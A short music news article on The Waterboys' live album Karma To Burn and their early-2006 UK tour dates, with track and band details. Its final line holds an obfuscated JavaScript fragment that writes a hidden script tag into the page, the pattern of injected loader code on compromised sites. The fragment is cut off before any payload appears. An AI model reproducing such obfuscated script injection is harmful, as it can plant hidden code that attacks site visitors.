The Waterboys live album and tour

After over twenty years' acknowledgement as one of the finest live acts in rock, pop and folk music, The Waterboys finally release their first ever official live album Karma To Burn (Puck Records) on Monday September 19th.

The Waterboys have also just announced a UK tour for early in 2006. These dates will comprise their first full band performances since 2003.

January
Thu 26th Coventry Warwick Arts Centre
Fri 27th Gateshead Sage Theatre
Sat 28th Glasgow Royal Concert Hall (Celtic Connections Festival)
Sun 29th Manchester Bridgewater Hall (0161 907 9000. Tickets £23.50, £21.50)
Tue 31st Bristol Colston Hall February
Wed 1st Liverpool Philharmonic Hall
Thu 2nd Brighton Dome (01273 709709. Tickets £22 and £18)
Fri 3rd London Shepherds Bush Empire

Culled from recordings made during their 2003 and 2004 tours of Britain and Ireland, Karma To Burn highlights many sides of The Waterboys - paint-stripping rock and roll (Medicine Bow, My Dark Side), mythic narratives (Long Way To The Light, The Return Of Jimi Hendrix), masterful pop (The Whole Of The Moon, Glastonbury Song), the Celtic
dreamtime (Peace Of Iona, Fisherman's Blues), and acoustic soul (Bring 'Em All In, Open).

The album also features heart-stopping renditions of Rodney Crowell's ballad A Song For The Life (with guest appearance from Irish squeezebox virtuoso and former Waterboy Sharon Shannon) and the Felice & Boudleaux Bryant love classic, Come Live With Me, as well as an explosive, sultry 13-minute performance of The Waterboys' romance The Pan Within.

The tracks were selected by singer/guitarist/writer Mike Scott and mixed by Waterboys' soundman Chris Madden. The band features fiddler extraordinaire Steve Wickham, keyboard dynamo Richard Naiff and top R&B rhythm section Carlos Hercules and Steve Walters. The cover of Karma To Burn was designed by the exciting young Japanese artist Tosifumi Tanabu.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22